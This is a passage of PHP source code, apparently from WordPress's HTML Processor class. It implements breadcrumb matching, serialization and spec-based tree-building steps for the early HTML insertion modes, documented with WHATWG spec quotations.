	 *     false === $processor->matches_breadcrumbs( array( 'span', 'img' ) );
	 *     true  === $processor->matches_breadcrumbs( array( 'span', '*', 'img' ) );
	 *
	 * @since 6.4.0
	 *
	 * @param string[] $breadcrumbs DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                              May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * @return bool Whether the currently-matched tag is found at the given nested structure.
	 */
	public function matches_breadcrumbs( $breadcrumbs ): bool {
		// Everything matches when there are zero constraints.
		if ( 0 === count( $breadcrumbs ) ) {
			return true;
		}

		// Start at the last crumb.
		$crumb = end( $breadcrumbs );

		if ( '*' !== $crumb && $this->get_tag() !== strtoupper( $crumb ) ) {
			return false;
		}

		for ( $i = count( $this->breadcrumbs ) - 1; $i >= 0; $i-- ) {
			$node  = $this->breadcrumbs[ $i ];
			$crumb = strtoupper( current( $breadcrumbs ) );

			if ( '*' !== $crumb && $node !== $crumb ) {
				return false;
			}

			if ( false === prev( $breadcrumbs ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Indicates if the currently-matched node expects a closing
	 * token, or if it will self-close on the next step.
	 *
	 * Most HTML elements expect a closer, such as a P element or
	 * a DIV element. Others, like an IMG element are void and don't
	 * have a closing tag. Special elements, such as SCRIPT and STYLE,
	 * are treated just like void tags. Text nodes and self-closing
	 * foreign content will also act just like a void tag, immediately
	 * closing as soon as the processor advances to the next token.
	 *
	 * @since 6.6.0
	 *
	 * @param WP_HTML_Token|null $node Optional. Node to examine, if provided.
	 *                                 Default is to examine current node.
	 * @return bool|null Whether to expect a closer for the currently-matched node,
	 *                   or `null` if not matched on any token.
	 */
	public function expects_closer( ?WP_HTML_Token $node = null ): ?bool {
		$token_name = $node->node_name ?? $this->get_token_name();

		if ( ! isset( $token_name ) ) {
			return null;
		}

		$token_namespace        = $node->namespace ?? $this->get_namespace();
		$token_has_self_closing = $node->has_self_closing_flag ?? $this->has_self_closing_flag();

		return ! (
			// Comments, text nodes, and other atomic tokens.
			'#' === $token_name[0] ||
			// Doctype declarations.
			'html' === $token_name ||
			// Void elements.
			( 'html' === $token_namespace && self::is_void( $token_name ) ) ||
			// Special atomic elements.
			( 'html' === $token_namespace && in_array( $token_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) ||
			// Self-closing elements in foreign content.
			( 'html' !== $token_namespace && $token_has_self_closing )
		);
	}

	/**
	 * Steps through the HTML document and stop at the next tag, if any.
	 *
	 * @since 6.4.0
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @see self::PROCESS_NEXT_NODE
	 * @see self::REPROCESS_CURRENT_NODE
	 *
	 * @param string $node_to_process Whether to parse the next node or reprocess the current node.
	 * @return bool Whether a tag was matched.
	 */
	public function step( $node_to_process = self::PROCESS_NEXT_NODE ): bool {
		// Refuse to proceed if there was a previous error.
		if ( null !== $this->last_error ) {
			return false;
		}

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			/*
			 * Void elements still hop onto the stack of open elements even though
			 * there's no corresponding closing tag. This is important for managing
			 * stack-based operations such as "navigate to parent node" or checking
			 * on an element's breadcrumbs.
			 *
			 * When moving on to the next node, therefore, if the bottom-most element
			 * on the stack is a void element, it must be closed.
			 */
			$top_node = $this->state->stack_of_open_elements->current_node();
			if ( isset( $top_node ) && ! $this->expects_closer( $top_node ) ) {
				$this->state->stack_of_open_elements->pop();
			}
		}

		if ( self::PROCESS_NEXT_NODE === $node_to_process ) {
			parent::next_token();
			if ( WP_HTML_Tag_Processor::STATE_TEXT_NODE === $this->parser_state ) {
				parent::subdivide_text_appropriately();
			}
		}

		// Finish stepping when there are no more tokens in the document.
		if (
			WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			WP_HTML_Tag_Processor::STATE_COMPLETE === $this->parser_state
		) {
			return false;
		}

		$adjusted_current_node = $this->get_adjusted_current_node();
		$is_closer             = $this->is_tag_closer();
		$is_start_tag          = WP_HTML_Tag_Processor::STATE_MATCHED_TAG === $this->parser_state && ! $is_closer;
		$token_name            = $this->get_token_name();

		if ( self::REPROCESS_CURRENT_NODE !== $node_to_process ) {
			$this->state->current_token = new WP_HTML_Token(
				$this->bookmark_token(),
				$token_name,
				$this->has_self_closing_flag(),
				$this->release_internal_bookmark_on_destruct
			);
		}

		$parse_in_current_insertion_mode = (
			0 === $this->state->stack_of_open_elements->count() ||
			'html' === $adjusted_current_node->namespace ||
			(
				'math' === $adjusted_current_node->integration_node_type &&
				(
					( $is_start_tag && ! in_array( $token_name, array( 'MGLYPH', 'MALIGNMARK' ), true ) ) ||
					'#text' === $token_name
				)
			) ||
			(
				'math' === $adjusted_current_node->namespace &&
				'ANNOTATION-XML' === $adjusted_current_node->node_name &&
				$is_start_tag && 'SVG' === $token_name
			) ||
			(
				'html' === $adjusted_current_node->integration_node_type &&
				( $is_start_tag || '#text' === $token_name )
			)
		);

		try {
			if ( ! $parse_in_current_insertion_mode ) {
				return $this->step_in_foreign_content();
			}

			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		} catch ( WP_HTML_Unsupported_Exception $e ) {
			/*
			 * Exceptions are used in this class to escape deep call stacks that
			 * otherwise might involve messier calling and return conventions.
			 */
			return false;
		}
	}

	/**
	 * Computes the HTML breadcrumbs for the currently-matched node, if matched.
	 *
	 * Breadcrumbs start at the outermost parent and descend toward the matched element.
	 * They always include the entire path from the root HTML node to the matched element.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<p><strong><em><img></em></strong></p>' );
	 *     $processor->next_tag( 'IMG' );
	 *     $processor->get_breadcrumbs() === array( 'HTML', 'BODY', 'P', 'STRONG', 'EM', 'IMG' );
	 *
	 * @since 6.4.0
	 *
	 * @return string[] Array of tag names representing path to matched node.
	 */
	public function get_breadcrumbs(): array {
		return $this->breadcrumbs;
	}

	/**
	 * Returns the nesting depth of the current location in the document.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div><p></p></div>' );
	 *     // The processor starts in the BODY context, meaning it has depth from the start: HTML > BODY.
	 *     2 === $processor->get_current_depth();
	 *
	 *     // Opening the DIV element increases the depth.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 *     // Opening the P element increases the depth.
	 *     $processor->next_token();
	 *     4 === $processor->get_current_depth();
	 *
	 *     // The P element is closed during `next_token()` so the depth is decreased to reflect that.
	 *     $processor->next_token();
	 *     3 === $processor->get_current_depth();
	 *
	 * @since 6.6.0
	 *
	 * @return int Nesting-depth of current location in the document.
	 */
	public function get_current_depth(): int {
		return count( $this->breadcrumbs );
	}

	/**
	 * Normalizes an HTML fragment by serializing it.
	 *
	 * This method assumes that the given HTML snippet is found in BODY context.
	 * For normalizing full documents or fragments found in other contexts, create
	 * a new processor using {@see WP_HTML_Processor::create_fragment} or
	 * {@see WP_HTML_Processor::create_full_parser} and call {@see WP_HTML_Processor::serialize}
	 * on the created instances.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     echo WP_HTML_Processor::normalize( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     echo WP_HTML_Processor::normalize( '<div></p>fun<table><td>cell</div>' );
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     echo WP_HTML_Processor::normalize( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @param string $html Input HTML to normalize.
	 *
	 * @return string|null Normalized output, or `null` if unable to normalize.
	 */
	public static function normalize( string $html ): ?string {
		return static::create_fragment( $html )->serialize();
	}

	/**
	 * Returns normalized HTML for a fragment by serializing it.
	 *
	 * This differs from {@see WP_HTML_Processor::normalize} in that it starts with
	 * a specific HTML Processor, which _must_ not have already started scanning;
	 * it must be in the initial ready state and will be in the completed state once
	 * serialization is complete.
	 *
	 * Many aspects of an input HTML fragment may be changed during normalization.
	 *
	 *  - Attribute values will be double-quoted.
	 *  - Duplicate attributes will be removed.
	 *  - Omitted tags will be added.
	 *  - Tag and attribute name casing will be lower-cased,
	 *    except for specific SVG and MathML tags or attributes.
	 *  - Text will be re-encoded, null bytes handled,
	 *    and invalid UTF-8 replaced with U+FFFD.
	 *  - Any incomplete syntax trailing at the end will be omitted,
	 *    for example, an unclosed comment opener will be removed.
	 *
	 * Example:
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<a href=#anchor v=5 href="/" enabled>One</a another v=5><!--' );
	 *     echo $processor->serialize();
	 *     // <a href="#anchor" v="5" enabled>One</a>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<div></p>fun<table><td>cell</div>' );
	 *     echo $processor->serialize();
	 *     // <div><p></p>fun<table><tbody><tr><td>cell</td></tr></tbody></table></div>
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<![CDATA[invalid comment]]> syntax < <> "oddities"' );
	 *     echo $processor->serialize();
	 *     // <!--[CDATA[invalid comment]]--> syntax &lt; &lt;&gt; &quot;oddities&quot;
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Normalized HTML markup represented by processor,
	 *                     or `null` if unable to generate serialization.
	 */
	public function serialize(): ?string {
		if ( WP_HTML_Tag_Processor::STATE_READY !== $this->parser_state ) {
			wp_trigger_error(
				__METHOD__,
				'An HTML Processor which has already started processing cannot serialize its contents. Serialize immediately after creating the instance.',
				E_USER_WARNING
			);
			return null;
		}

		$html = '';
		while ( $this->next_token() ) {
			$html .= $this->serialize_token();
		}

		if ( null !== $this->get_last_error() ) {
			wp_trigger_error(
				__METHOD__,
				"Cannot serialize HTML Processor with parsing error: {$this->get_last_error()}.",
				E_USER_WARNING
			);
			return null;
		}

		return $html;
	}

	/**
	 * Serializes the currently-matched token.
	 *
	 * This method produces a fully-normative HTML string for the currently-matched token,
	 * if able. If not matched at any token or if the token doesn't correspond to any HTML
	 * it will return an empty string (for example, presumptuous end tags are ignored).
	 *
	 * @see static::serialize()
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Converted from protected to public method.
	 *
	 * @return string Serialization of token, or empty string if no serialization exists.
	 */
	public function serialize_token(): string {
		$html       = '';
		$token_type = $this->get_token_type();

		switch ( $token_type ) {
			case '#doctype':
				$doctype = $this->get_doctype_info();
				if ( null === $doctype ) {
					break;
				}

				$html .= '<!DOCTYPE';

				if ( $doctype->name ) {
					$html .= " {$doctype->name}";
				}

				if ( null !== $doctype->public_identifier ) {
					$quote = str_contains( $doctype->public_identifier, '"' ) ? "'" : '"';
					$html .= " PUBLIC {$quote}{$doctype->public_identifier}{$quote}";
				}
				if ( null !== $doctype->system_identifier ) {
					if ( null === $doctype->public_identifier ) {
						$html .= ' SYSTEM';
					}
					$quote = str_contains( $doctype->system_identifier, '"' ) ? "'" : '"';
					$html .= " {$quote}{$doctype->system_identifier}{$quote}";
				}

				$html .= '>';
				break;

			case '#text':
				$html .= htmlspecialchars( $this->get_modifiable_text(), ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
				break;

			// Unlike the `<>` which is interpreted as plaintext, this is ignored entirely.
			case '#presumptuous-tag':
				break;

			case '#funky-comment':
			case '#comment':
				$html .= "<!--{$this->get_full_comment_text()}-->";
				break;

			case '#cdata-section':
				$html .= "<![CDATA[{$this->get_modifiable_text()}]]>";
				break;
		}

		if ( '#tag' !== $token_type ) {
			return $html;
		}

		$tag_name       = str_replace( "\x00", "\u{FFFD}", $this->get_tag() );
		$in_html        = 'html' === $this->get_namespace();
		$qualified_name = $in_html ? strtolower( $tag_name ) : $this->get_qualified_tag_name();

		if ( $this->is_tag_closer() ) {
			$html .= "</{$qualified_name}>";
			return $html;
		}

		$attribute_names = $this->get_attribute_names_with_prefix( '' );
		if ( ! isset( $attribute_names ) ) {
			$html .= "<{$qualified_name}>";
			return $html;
		}

		$html .= "<{$qualified_name}";
		foreach ( $attribute_names as $attribute_name ) {
			$html .= " {$this->get_qualified_attribute_name( $attribute_name )}";
			$value = $this->get_attribute( $attribute_name );

			if ( is_string( $value ) ) {
				$html .= '="' . htmlspecialchars( $value, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5 ) . '"';
			}

			$html = str_replace( "\x00", "\u{FFFD}", $html );
		}

		if ( ! $in_html && $this->has_self_closing_flag() ) {
			$html .= ' /';
		}

		$html .= '>';

		// Flush out self-contained elements.
		if ( $in_html && in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP' ), true ) ) {
			$text = $this->get_modifiable_text();

			switch ( $tag_name ) {
				case 'IFRAME':
				case 'NOEMBED':
				case 'NOFRAMES':
					$text = '';
					break;

				case 'SCRIPT':
				case 'STYLE':
					break;

				default:
					$text = htmlspecialchars( $text, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8' );
			}

			$html .= "{$text}</{$qualified_name}>";
		}

		return $html;
	}

	/**
	 * Parses next element in the 'initial' insertion mode.
	 *
	 * This internal function performs the 'initial' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-initial-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_initial(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( parent::is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto initial_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				$doctype = $this->get_doctype_info();
				if ( null !== $doctype && 'quirks' === $doctype->indicated_compatibility_mode ) {
					$this->compat_mode = WP_HTML_Tag_Processor::QUIRKS_MODE;
				}

				/*
				 * > Then, switch the insertion mode to "before html".
				 */
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
				$this->insert_html_element( $this->state->current_token );
				return true;
		}

		/*
		 * > Anything else
		 */
		initial_anything_else:
		$this->compat_mode           = WP_HTML_Tag_Processor::QUIRKS_MODE;
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before html' insertion mode.
	 *
	 * This internal function performs the 'before html' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-html-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_html(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_html_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto before_html_anything_else;
				break;
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else.
		 *
		 * > Create an html element whose node document is the Document object.
		 * > Append it to the Document object. Put this element in the stack of open elements.
		 * > Switch the insertion mode to "before head", then reprocess the token.
		 */
		before_html_anything_else:
		$this->insert_virtual_node( 'HTML' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'before head' insertion mode.
	 *
	 * This internal function performs the 'before head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-before-head-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_before_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step();
				}
				goto before_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "head"
			 */
			case '+HEAD':
				$this->insert_html_element( $this->state->current_token );
				$this->state->head_element   = $this->state->current_token;
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "head", "body", "html", "br"
			 * > Act as described in the "anything else" entry below.
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-HEAD':
			case '-BODY':
			case '-HTML':
				goto before_head_anything_else;
				break;
		}

		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 *
		 * > Insert an HTML element for a "head" start tag token with no attributes.
		 */
		before_head_anything_else:
		$this->state->head_element   = $this->insert_virtual_node( 'HEAD' );
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head' insertion mode.
	 *
	 * This internal function performs the 'in head' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inhead
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is one of U+0009 CHARACTER TABULATION,
				 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
				 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
				 */
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					// Insert the character.
					$this->insert_html_element( $this->state->current_token );
					return true;
				}

				goto in_head_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "meta"
			 */
			case '+META':
				$this->insert_html_element( $this->state->current_token );

				// All following conditions depend on "tentative" encoding confidence.
				if ( 'tentative' !== $this->state->encoding_confidence ) {
					return true;
				}

				/*
				 * > If the active speculative HTML parser is null, then:
				 * >   - If the element has a charset attribute, and getting an encoding from
				 * >     its value results in an encoding, and the confidence is currently
				 * >     tentative, then change the encoding to the resulting encoding.
				 */
				$charset = $this->get_attribute( 'charset' );
				if ( is_string( $charset ) ) {
					$this->bail( 'Cannot yet process META tags with charset to determine encoding.' );
				}

				/*
				 * >   - Otherwise, if the element has an http-equiv attribute whose value is
				 * >     an ASCII case-insensitive match for the string "Content-Type", and
				 * >     the element has a content attribute, and applying the algorithm for
				 * >     extracting a character encoding from a meta element to that attribute's
				 * >     value returns an encoding, and the confidence is currently tentative,
				 * >     then change the encoding to the extracted encoding.
				 */
				$http_equiv = $this->get_attribute( 'http-equiv' );
				$content    = $this->get_attribute( 'content' );
				if (
					is_string( $http_equiv ) &&
					is_string( $content ) &&
					0 === strcasecmp( $http_equiv, 'Content-Type' )
				) {
					$this->bail( 'Cannot yet process META tags with http-equiv Content-Type to determine encoding.' );
				}

				return true;

			/*
			 * > A start tag whose tag name is "title"
			 */
			case '+TITLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is enabled
			 * > A start tag whose tag name is one of: "noframes", "style"
			 *
			 * The scripting flag is never enabled in this parser.
			 */
			case '+NOFRAMES':
			case '+STYLE':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A start tag whose tag name is "noscript", if the scripting flag is disabled
			 */
			case '+NOSCRIPT':
				$this->insert_html_element( $this->state->current_token );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT;
				return true;

			/*
			 * > A start tag whose tag name is "script"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+SCRIPT':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "head"
			 */
			case '-HEAD':
				$this->state->stack_of_open_elements->pop();
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
				return true;

			/*
			 * > An end tag whose tag name is one of: "body", "html", "br"
			 *
			 * BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '-BODY':
			case '-HTML':
				/*
				 * > Act as described in the "anything else" entry below.
				 */
				goto in_head_anything_else;
				break;

			/*
			 * > A start tag whose tag name is "template"
			 *
			 * @todo Could the adjusted insertion location be anything other than the current location?
			 */
			case '+TEMPLATE':
				$this->state->active_formatting_elements->insert_marker();
				$this->state->frameset_ok = false;

				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;

				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "template"
			 */
			case '-TEMPLATE':
				if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
					return $this->step();
				}

				$this->generate_implied_end_tags_thoroughly();
				if ( ! $this->state->stack_of_open_elements->current_node_is( 'TEMPLATE' ) ) {
					// @todo Indicate a parse error once it's possible.
				}

				$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
				$this->state->active_formatting_elements->clear_up_to_last_marker();
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->reset_insertion_mode_appropriately();
				return true;
		}

		/*
		 * > A start tag whose tag name is "head"
		 * > Any other end tag
		 */
		if ( '+HEAD' === $op || $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > Anything else
		 */
		in_head_anything_else:
		$this->state->stack_of_open_elements->pop();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in head noscript' insertion mode.
	 *
	 * This internal function performs the 'in head noscript' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inheadnoscript
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_head_noscript(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = parent::is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION,
			 * > U+000A LINE FEED (LF), U+000C FORM FEED (FF),
			 * > U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * Parse error: ignore the token.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_head();
				}

				goto in_head_noscript_anything_else;
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
